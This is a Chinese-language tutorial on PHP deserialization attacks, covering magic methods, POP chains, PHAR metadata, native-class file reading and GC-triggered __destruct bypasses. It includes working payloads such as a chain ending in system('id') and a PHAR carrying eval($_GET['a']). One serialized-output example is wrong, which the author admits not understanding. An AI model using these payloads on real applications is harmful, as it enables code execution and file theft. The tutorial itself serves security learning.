php反序列化

事例源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

class HaHaHa为类

public $admin;public $passwd;为属性

__construct()__wakeup()__destruct()为魔术方法

什么是PHP反序列化

定义

在 PHP 中

序列化(serialize)是将对象的状态信息转化为可存储或传输的形式(通常是字符串)的过程

反序列化(unserialize)则是将序列化后的字符串重新转换回对象的过程。 不仅恢复对象的属性值,还会重新建立对象的内部状态

主要函数(处理序列化和反序列化)

serialize():将对象转换为字符串

unserialize():将字符串转换回对象

序列化的主要目的

1)将对象状态保存在文件或数据库中

2)将对象进行远程输出(如前后端交互发送数据)

访问控制修饰符对序列化的影响)

访问控制修饰符 对应属性 作用
public 公有属性 属性保持原样
protected 属性被序列化为属性名格式(前面有一个空字符)
private 私有属性 属性被序列化为类名属性名格式(前后都有空字符)

这些空字符在URL中编码中会表示为%00

魔术方法

魔术方法 触发时机
__construct() 对象创建时调用
__destruct() 对象销毁时调用
__sleep() 序列化前调用
__wakeup() 反序列化后调用
__toString() 对象被当作字符串时调用
__invoke() 对象被当作函数时调用
__call() 调用一个不存在的方法
__callStatic() 静态调用或调用成员常量时使用的方法不存在
__get() 调用的成员属性不存在
__set() 给不存在的成员属性赋值
__isset() 对不可访问或不存在的属性
__unset() 对不可访问(私有属性)或不存在的属性使用unset()时会触发
__clone() 使用clone关键词拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

反序列化漏洞

1、漏洞产生的条件

1)应用程序使用unserialize()函数处理用户输入

2)输入数据未经过充分验证

3)存在可利用的魔术方法或对象方法调用链

2、漏洞利用

  1. __destruct () 方法利用
  2. __wakeup()方法绕过
  3. __toString()方法利用

魔术方法

__construct()

  • 构造函数,在创建、实例化一个对象时,会自动执行
  • 触发时机:实例化对象
  • 功能:提前清理不必要内容
  • 参数:非必要
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 创造一个类User
class User{
public $username;
public function __construct($username){
$this->username = $username;
echo "触发了构造函数一次";
}
}
// 实例化User类,此时会触发 __construct() 魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

class User定义User类

public $username定义属性

在实例化User类时,会触发__construct()魔术方法

__construct()魔术方法会将传入的benben参数赋值给类的username属性

__wakeup ()

  • 反序列化unserialize()会检查是否存在一个__wakeup()方法
  • 如果存在,则会调用__wakeup()方法预先准备对象所需要的资源
  • 预先准备对象所需要的资源返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作
  • 触发时机: 反序列化unserialize之后,结束之前(不确定)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

已经构造好的一个序列化数据

$user_ser = ‘O:4:”User”:2:{s:8:”username”;s:1:”a”;s:8:”nickname”;s:1:”b”;}’;

序列化数据分析

序列化片段 含义 解析
O 数据类型标识 代表对象,表示这段序列化数据对应的是一个PHP对象
:4: 类名长度 :为分隔符,4表示对象所属的类名长度为4个字符
“User” 类名 是对象所属的PHP类名(长度为4,与前面的:4:对应)
:2: 对象属性数量 2表示该对象包含两个可序列化的属性
{ 对象属性列表开始标记 {后的内容为对象的属性键值对的集合
s:8:”username” 第一个属性的键 s:属性名类型为”字符串string“:8: :属性值长度为8个字符”username”:属性名本身(长度8,对应:8: )
属性键值分隔符 分隔属性名和属性值
s:1:”a” 第一个属性的值 s:属性值类型为”字符串string“:1: :属性值长度为1个字符”a”:属性值本身(长度为1,对于:1: )
s:8:”nickname” 第二个属性的键 s:属性名类型为”字符串string“:8: :属性值长度为8个字符”nickname”:属性名本身(长度8,对应:8: )
s:1:”b” 第二个属性的值 s:属性值类型为”字符串string“:1: :属性值长度为1个字符”b”:属性值本身(长度为1,对于:1: )
  • 定义username为a,nickname为b

对该序列化数据进行反序列化

  • 在反序列化之前,会触发__wakeup()魔术方法,使得password的值等于username的值

绕过方法:让代表属性数量的值加一(只要改成比原属性数量大的数就行)

__destruct()

  • 析(xi)构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
  • 触发时机:对象引用完成或对象被销毁(实例化或反序列化之后)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
// 实例化对象结束后,这个对象最终会被销毁,就会触发一次 __destruct() 魔术方法
$test = new User("benben");
$ser = serialize($test);
// 反序列化结束后也会触发一次 __destruct() 魔术方法
// 因为反序列化得到的是对象,用完之后会被销毁
unserialize($ser);
?>

image-20260319202159217

第一次触发:实例化对象结束后,这个对象最终会被销毁,就会触发一次__destruct()魔术方法

第二次触发:反序列化结束后,反序列化得到的是对象,用完之后会被销毁,触发__destruct()魔术方法

回收方法

  • 手动回收:就是用unset方法来释放对象
  • 自动回收:对象没有值引用指向,或者脚本结束完全释放

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()

如果存在,该方法会被先调用,然后才执行序列化操作

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误

  • 功能: 清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
  • 参数:成员属性
  • 返回值:需要被序列化存储的成员属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
  • 先实例化User,会首先触发__construct()魔术方法,会给$username, $nickname, $password分别赋值'a', 'b', 'c'
  • 然后在序列化serialize()对象时就会触发__sleep(),返回只含有usernamenickname的数组

如果没有sleep()魔术方法,序列化结果为

O:4:”User”:3:{s:8:”username”;s:1:”a”;s:8:”nickname”;s:1:”b”;s:14:”Userpassword”;s:1:”c”;}

这题有sleep(),序列化结果为

O:4:”User”:2:{s:8:”username”;s:1:”a”;s:8:”nickname”;s:1:”a”;s:14:”nickname”;s:1:”b”;}

只有username和nickname

不懂为什么改了数量还改了后面附的值

__toString()

  • 调用对象的方法:print_r或var_dump
  • 调用字符串的方法:echo或print
  • 触发时机:把对象当作字符串调用时(使用echo或者print时)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>

$test = new User() ;

是将User类实例化为一个对象test,然后用print_r和echo调用这个对象

从结果输出可以看到,能用print_r调用对象,但不能用echo,

使用echo会导致将对象以字符串的形式调用,从而触发__toString魔术方法

image-20260319202210877

__invoke()

  • 触发时机:把对象当作函数调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>

echo $test ->benben;

这是正常调用对象中属性,输出对应的值

echo $test() ->benben;

这是以调用函数的方式调用test这个对象,此时会触发__invoke()魔术方法

__call()

  • 触发时机:调用一个不存在的方法
  • 参数:2个参数传参$arg1(对应不存在的方法名),$arg2(对应给不存在的方法传入的参数)
  • 返回值: 调用的不存在的方法的名称和参数
1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User();
$test -> callxxx('a');
?>

$test -> callxxx(‘a’);

callxxx是一个不存在的方法,并传入参数a会触发魔术方法__call()

$arg1对应不存在的方法名callxxx()

$arg2对应传入的参数a

image-20260319202216429

__callStatic()

  • 触发时机: 静态调用或调用成员常量时使用的方法不存在
  • 参数:2个参数传参$arg1(对应不存在的方法名),$arg2(对应给不存在的方法传入的参数)
  • 返回值:调用的不存在的方法的名称和参数
1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>

$test::callxxx(‘a’);

这是静态调用的方式调用test对象中的callxxx()(一个不存在的方法),因此触发了__callStatic()魔术方法

$arg1对应callxxx(不存在的方法名)

$arg2对应a(给不存在的方法传入的参数)

__get()

  • 触发时机:调用的成员属性不存在
  • 参数:传参$arg1(不存在的成员属性)
  • 返回值:不存在的成员属性名称
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>

$test ->var2;

调用test对象中的var2这个成员属性,但是在对象中这个成员属性不存在

触发__get()魔术方法,传入的参数$arg1是不存在的成员属性var2

__set()

  • 触发时机:给不存在的成员属性赋值
  • 参数:传参$arg1(对应不存在的方法名),$arg2(对应给不存在的方法传入的参数)
  • 返回值:不存在的成员属性的名称和赋的值
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>

$test ->var2=1;

将test对象中的var2属性赋值为1,但var2不存在

触发__set()魔术方法

$arg1对应var2(不存在的属性)

$arg2对应1(给不存在属性赋的值)

__isset()

  • 触发时机:对不可访问或不存在的属性,使用isset()或empty()时会触发
  • 参数:传参$arg1(对应不可访问或不存在的属性)
  • 返回值:不可访问或不存在的成员属性的名称
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
echo "<br>";
empty($test->var1);
?>

private $var;——>私有属性

isset($test->var)

isset函数调用了不可访问的私有属性var触发了__isset()魔术方法

empty($test->var1);

empty函数调用了不存在的属性var1,触发了__isset()魔术方法

__unset()

  • 触发时机:对不可访问(私有属性)或不存在的属性使用unset()时会触发
  • 参数:传参$arg1(对应不可访问或不存在的属性)
  • 返回值:不存在的成员属性名
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
echo "<br>";
unset($test->var2);
?>

private $var;——>私有属性

unset($test->var);

unset函数调用对象test中的私有属性var,触发__unset()魔术方法,传入的参数是不可访问的私有属性var

unset($test->var2)

unset函数调用不存在的属性var2,触发__unset()魔术方法,传入的参数是不存在的属性var2

__clone()

  • 触发时机:使用clone关键词拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>

$test = new User();

将User类实例化成对象test,这个类中有__clone魔术方法

$newclass = clone($test)

使用clone函数将对象test拷贝给新对象newclass,新对象就会触发拷贝过来的__clone魔术方法

image-20260319202223653

POP链构造与利用

什么是POP链

POP 链(Property-Oriented Programming Chain,面向属性编程链)是反序列化漏洞利用的核心技术。其核心思想是通过控制对象的属性值,引导程序执行流经过多个类的方法调用,最终触发危险操作(如代码执行、文件读写等)。

POP链构建的关键

  1. 寻找可利用的魔术方法为起点
  2. 构建方法调用链,连接起点和终点
  3. 找到危险函数或操作作为终点

构造恶意POP链

存在protected、private属性需要对输出进行URL编码

构造方法

  1. 先复制源码
  2. 删掉源码中的魔术方法语句只留下类和属性
  3. 找到可利用的魔术方法
  4. 构造链

构造对象链

1
2
3
4
5
6
7
8
9
10
11
$rce = new RCE();
$rce->cmd = "id"; // 要执行的命令

$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;

生成序列化字符串

O:6:”Logger”:1:{s:7:”handler”;O:7:”Exploit”:1:{s:3:”rce”;O:3:”RCE”:1:{s:3:”cmd”;s:2:”id”;}}}

当服务器对该字符串进行反序列化时,会创建Logger对象,其handler属性指向Exploit对象,而Exploit对象的rce属性指向RCE对象。当脚本结束时,Logger的__destruct方法被调用,触发方法以下链

Logger::__destruct() -> Exploit::log() -> RCE::execute() -> system(“id”)

最终执行系统命令 “id”,返回当前用户信息

基于PHAR文件的POP链利用

1)PHAR文件

PHAR(PHP ARchive)是 PHP 中类似于 JAR 的一种打包文件格式,它可以存储用户自定义的元数据,并且这些元数据是以序列化形式存储的。这一特性使得 PHAR 文件成为反序列化攻击的重要载体。

2)PHAR文件结构

  • Stub:文件头,PHAR文件的入口点, 当 PHP 解释器加载 PHAR 文件时,会首先执行 Stub 代码,格式为xxx
  • Manifest:包含文件权限、属性以及序列化形式存储的用户自定义元数据
  • Contents:实际的文件内容
  • Signature:验证文件完整性和真实性,签名放在文件末尾

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

image-20260319202231855

支持 PHAR 协议的函数包括

  • fileatime, filectime, file_exists, file_get_contents
  • file_put_contents, file, filegroup, fopen
  • fileinode, filemtime, fileowner, fileperms
  • is_dir, is_executable, is_file, is_link
  • is_readable, is_writable, is_writeable, parse_ini_file
  • copy, unlink, stat, readfile

3)PHAR文件构造示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 删除之前的test.par文件(如果有)
@unlink('test.phar');
# 创建一个phar对象,文件名必须以 .phar 为后缀
$phar=new Phar('test.phar');
# 开始写文件
# 调用startBuffering()这个函数意味着后续的写入操作不会立即将数据写入文件,而是先存储在缓冲区中,直到调用stopBuffering()方法
$phar->startBuffering();
# 写入stub(是 Phar 文件的入口点,当 Phar 文件被执行时,首先会执行 stub 中的代码)
# 括号中的代码是默认的,是一个特殊的 PHP 指令,用于停止 PHP 代码的编译,后面的数据会被当作二进制数据处理
$phar->setStub('<?php __HALT_COMPILER(); ?>');

# 要写入文件中的部分
# 创建一个 Testobj 类的对象 $o
$o=new Testobj();
# 设置output属性的内容,根据题目改$o
$o->output='eval($_GET["a"]);';

# 调用 setMetadata 方法,将 $o 对象作为元数据写入 Phar 文件中(写入meta-data)
$phar->setMetadata($o);
# 将字符串 "test" 作为文件内容,以 test.txt 为文件名添加到 Phar 压缩包中
$phar->addFromString("test.txt","test");
# 停止写入文件
# 调用 stopBuffering 方法,停止缓冲,并将缓冲区中的数据写入到 test.phar 文件中
$phar->stopBuffering();
?>

4)PHAR文件的压缩和解压缩

压缩

1
2
3
4
5
6
# 压缩
<?php
$phar = new Phar('test2.phar',0,'test2.phar');
$phar->buildfromDirectory('f:\0Day');
$phar->setDefaultStub('test.txt','test.txt');
?>
  • Phar类:Phar是 PHP 内置的一个类,用于创建、操作和管理 PHAR 文件
1
$phar = new Phar('test2.phar',0,'test2.phar'); 

第一个test2.phar是创建的 PHAR 文件名

如果文件不存在会创建一个新的文件,如果文件存在并允许进行修改,会对其进行更新

0表示文件创建的标志,实际应用中会使用如:Phar::CREATE表示创建新的 PHAR 文件,来指定不同的创建模式

第二个test2.phar 指定 PHAR 文件的别名,可以在后续中引用该 PHAR 文件时使用

1
$phar->buildfromDirectory('f:\0Day');

指定要打包的目录路径f:\0Day

1
$phar->setDefaultStub('test.txt','test.txt');

setDefaultStub用于为PHAR文件设置默认的Stub,即默认入口

第一个test.txt是入口文件的路径

第二个test.txt是内部文件的路径

解压缩

1
2
3
4
5
6
# 解压缩
<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');
?>
$phar = new Phar('test.phar');

通过new Phar(‘test.phar’)语句,程序尝试打开名为test.phar 的Phar压缩包文件

并将其封装成一个Phar对象存储在变量$phar中

如果文件不存在会报错

1
$phar->extractTo('test');

调用Phar对象的extractTo方法

extractTo方法是将Phar压缩包中的所有内容提取到指定的目录

参数test是目标目录, 即 Phar 压缩包中的文件和目录会被解压到名为test的目录下

如果该目录不存在,PHP 会尝试创建它;若已存在,则会将文件解压到该目录内

5)Phar反序列化漏洞原理

manifest

压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串

调用phar伪协议,可读取.phar文件

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

phar需要满足PHP>=5.2,在php.ini中将phar.readonly设为Off

以下是受影响的函数(即可以使用phar伪协议读取.phar文件的函数)

受影响的函数

fileatinme filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_wriable is_writeable parse_ini_file
copy unlink stat readfile

PHP原生类利用

1)目录遍历类

Directorylterator(查看文件目录)

  • 条件:PHP5、PHP7、PHP8
  • 作用:提供了一个简单的接口用来查看文件系统目录的内容,此内置类的__toString方法可以获取字符串形式的文件名,再结合glob://或file://协议,与glob://协议结合将无视open_basedir对目录的限制,即可实现目录遍历
  • 这个类会创建一个指定目录的迭代器,当执行到echo时会触发该类中的__toString()方法
  • 输出指定目录里面经过排序之后的第一个文件名,一般情况第一个文件都是点 .
  • 搭配foreach可以遍历目录

配合glob://协议,读取目录

1
2
3
4
5
6
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
echo $a;
?>

payload

glob:///flag*

*:用来匹配前四个字母是flag开头的文件名

只能返回匹配到的第一个符号的文件名,并不是全部都返回

FilesystemIterator

提供了一个用于查看文件系统目录内容的简单接口

该类的构造方法将会创建一个指定目录的迭代器

(与DirectoryIterator 类也是基本相同的

GlobIterator

这是个自带glob协议的类,所以调用时就不必再加上了glob://

可以遍历一个文件目录,其行为类似于glob(), 可以通过模式匹配来寻找文件路径。但是使用这个类不需要额外写上glob://

只需要知道部分名称就可以进行遍历

1
2
3
4
5
<?php
echo new GlobIterator("./f*");
?>

#flag

2)文件读取类

SplFileObject(读文件)

当用文件目录遍历到了敏感文件时,可以用类,同样通过echo触发SplFileObject中的__toString()方法

该类不支持通配符,所以必须先获取SplFileObject到完整文件名称才行

只能读取文件的第一行内容

如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

1
2
3
4
5
<?php
echo new SplFileObject("./flag.php");
echo "\n";
echo new SplFileObject("php://filter/read=convert.base64-encode/resource=flag.php");
?>

输出为一段base64加密的内容

3)报错类(可以绕过哈希比较)

Error

适用版本:php7版本

Error类就是php的一个内置类用于自动自定义一个Error

内置方法:__toString()

1
$a = new Error("123","1");$b = new Error("123","2");

类方法

  • Error::__construct— 初始化 error 对象
  • Error::getMessage— 获取错误信息
  • Error::getPrevious— 返回先前的 Throwable
  • Error::getCode— 获取错误代码
  • Error::getFile—— 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace— 获取调用栈(stack trace)
  • Error::getTraceAsString— 获取字符串形式的调用栈(stack trace)
  • Error::__toString — error 的字符串表达
  • Error::__clone— 克隆 error

Exception

适用版本:php5、7、8版本

与error相似

类属性

  • message:异常消息内容
  • code:异常代码
  • file:

Error/Exception_XSS

字符串逃逸

基础知识

反序列化分隔符

发序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸

https://www.cnblogs.com/xxxxxi1/p/18809957

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候可能存在反序列化属性逃逸

字符串减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));//将传入的v1,v2的值放进A类中然后将A实例化的对象进行序列化
$data = str_replace("system()","",$data);
//将得到的序列化后的字符串中的system()字符替换为空
var_dump(unserialize($data));
?>

object(A)#1 (2) { ["v1"]=> NULL ["v2"]=> NULL }

将代码稍微修改后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = "system()";
$b = "system()";
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump($data);
?>
//输出结果:
string(44) "O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:8:"";}"

可以看到上面输出的结果中字符串长度时8,但是其实里面是没有字符串的。

如果进行反序列化的话,是失败的

但是观察这个字符串

string(44) “O:1:”A”:2:{s:2:”v1”;s:8:””;s:2:”v2”;s:8:””;}”

由于长度的读取是按照前面的数字来确定的,不是后面的字符串

也就是说:

s:8:” “;s:2”v2

一直到v2这个字符这块都是属于v1的字符串的

如果我们想插入一个v3,删掉v2的话(其实也就是逃逸v3)

可以看下面这个代码

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

}
$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump($data);
?>
"O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}"

利用点

  • str_replace:将system()替换为空
  • str_replace由于是直接替换,并不会改变前面确定字符串长度的数字
  • 反序列化读取字符串的时候的停止位置 只与前面确定字符串长度的数字有关

更改思路

  • 通过写入system来增大前面确定字符串的
1
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:";s:2:"v3":N;}  

PHP中的GC垃圾回收机制

学习网站:https://xz.aliyun.com/news/11289

在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向
时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

引用计数

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

  • 一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。
  • 另一个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

举例1

1
2
3
4
5
6
<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

a: (refcount=1, is_ref=0)='new string'

image-20260319202330204

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1

举例2

1
2
3
4
5
6
7
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>

a: (refcount=2, is_ref=1)='new string'

image-20260319202333082

按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是1,is_ref应该是true,但这里不是, 因为同一变量容器被变量a和变量b关联,当没必要时,php不会去复制已生成的变量容器。
所以这一个zval容器存储了ab两个变量,就使得refcount的值为2.

创建变量

在 PHP 中,所有变量(无论类型)在底层都被封装为一个zval结构体,用于存储变量的值、类型以及内存管理相关的元数据,其中有两个字节

refcount:表示当前有多少个变量(或符号)引用这个zval结构体

is_ref:时bool值,表示改变量是否通过&被显示标记为引用(PHP引通过这个字节来区分普通变量和引用变量,PHP允许用户使用&来使用自定义引用)

当is_ref=1时,表示该zval处于”引用模式“,所有指向它的变量都是引用关系(共享同一份数据,修改会相互影响);

当is_ref=1时,表示该zval处于”普通模式“,变量间是独立引用(修改一个不会影响另一个,除非触发写时复制)

zval容器销毁

1
2
3
4
5
6
7
8
9
10
<?php
$a = "string"; #先定义一个变量$a
xdebug_debug_zval('a');
$b = &$a;
xdebug_debug_zval('a');
unset($b);
xdebug_debug_zval('a');
unset($a);
xdebug_debug_zval('a');
?>

利用unset()函数销毁变量

image-20260319202336741

1
2
3
$a = "string";

#a: (refcount=1, is_ref=0)='string'

首先定义一个$a变量,会创建一个zval容器,此时引用计数refcount=1(仅$a引用),is_ref=0($a是普通变量)

1
2
3
$b = &$a; 

#a: (refcount=2, is_ref=1)='string'

然后用&将$b定义为$a的引用变量,此时的引用计数refcount=2($a和$b引用),is_ref=1(zval被标记引用变量)

1
2
3
unset($b);

#a: (refcount=1, is_ref=1)='string'

接着销毁$b变量,此时refcount=1(仅引用$a),is_ref=1(即使只剩一个变量,引用属性不会自动重置)

1
2
3
unset($a);

#a: no such symbol

最后销毁$a变量,此时refcount=0,zval容器被PHP自动销毁,所以打印zval时没有输出,提示no such symbol,变量容器在refcount=0时就销毁

GC在PHP反序列化中的利用

GC如果在反序列化中生效,则会触发__destruct方法

变量被unset函数处理的情况

unset函数处理会提前触发__destruct()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test("第一次");
unset($a);
$b = new test("第二次");
$c = new test("第三次");
?>

image-20260319202343687

这里的test类中存在num属性,还有__construct()和__destruct()方法,每次触发这两个方法时会打印出传入的参数和对应方法的拼接后的字符串

有三个test类的实例化对象$a、$b、$c,其中在实例化对象$a后使用了unset()方法销毁了对象$a

如果没有unset($a);

image-20260319202348626

在实例化对象时会先依次打印出(传入的参数)+__construct,最后销毁对象也会一次打印出(传入的参数)+__destruct()

但是如果加上了unset($a);这句话代码提前销毁了对象$a,就会提前触发__destruct()

数组对象为NULL

同键覆盖

当对象为NULL时,对象也会被销毁,也会触发__destruct方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$flag = "flag";
class A {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['1']);
throw new Exception('NO NO NO');
?>

image-20260319202358113

在A类中,如果触发了__destruct()方法,就会打印出flag,可以通过GET请求方法传参1上传序列化内容,在执行反序列化代码后会立刻抛出异常throw new Exception(‘NO NO NO’);,然后程序就会立刻中断,无法触发__destruct()方法打印出flag

触发方法

反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为NULL(随意赋值)

1
2
3
4
5
6
7
8
<?php
class A {}

$a=array(new A,NULL);
echo serialize($a);
?>

a:2:{i:0;O:1:"A":0:{}i:1;N;}

image-20260319202402148

a:2:表示这是一个包含2隔元素的数组

i:0;表示第一个元素的索引时0

O:1:”A”:0:{}表示第一个元素时A类的实例(没有属性)

i:1表示第二个元素的索引是1

1;N;表示第二个元素是NULL(这里这个元素可以随意填写)

查看$a的zval
1
2
3
4
5
6
7
8
<?php

class A {}

$a = array(new A,NULL);
echo serialize($a)."\n";
xdebug_debug_zval('a');
?>

image-20260319202406093

1
a: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)=class A {  }, 1 => (refcount=0, is_ref=0)=NULL)(refcount=1, is_ref=0)=
  • 最外层:数组$a本身的状态:第一个refcount=1,is_ref=0是$a本身的状态,仅被$a引用,所以refcount=1,并且没有被其他变量用 &显示声明引用,是个普通常量,所以is_ref=0
  • 数组元素0:A类对象的状态:第二个refcount=1,is_ref=0是数组元素0对应的A类对象的状态,仅被数组的索引0引用,所以refcount=1,并且没有被其他变量用 &显示声明引用,是个普通常量,所以is_ref=0
  • 数组元素1:NULL的状态:最后的refcount=0,is_ref=0是数组元素1的状态,这里的值是简单类型(如整数、字符串、NULL等)仅是存储到数组中,并且创建独立的副本(除非使用&显式声明),这个副本没有被其他任何变量引用所以refcount=0(在PHP内部,这种“仅作为数组元素存在的简单类型” 会被视为临时值,其引用计数会被优化为 0”)
  • 如果将结果中的i:1改为”i:0”,数组里有两个相同的键值,序列化流里后出现的会覆盖前面的键,反序列化后数组的最终内容是array(=>NULL)
1
a:2:{i:0;O:1:"A":0:{}i:0;N;}

当ubserialize()开始读取序列化字符串并逐项处理,它先有第一个条目,创建一个A对象实例(内部会构造zval/object,refcount初始为1),并把这个对象放到数组的键0的位置上,然后继续读到第二个条目(同样的键值0,值为NULL)

反序列化过程会将数组中键0的值替换成NIULL,替换的过程中原来指新娘那个A对象的zval的引用被移除,导致该对象的引用计数减少,由于这个A对象没有其他引用(没有变量再指向它),引用计数立即变为0

PHP的引用计数机制会在引用计数为0时立即销毁对象并调用__destruct()

1
?1=a:2:{i:0;O:1:"A":0:{}i:0;N;}

image-20260319202424990

不仅可以改后面的键,也可以改前面的i:0为i:1

1
a:2:{i:1;O:1:"A":0:{}i:1;N;}

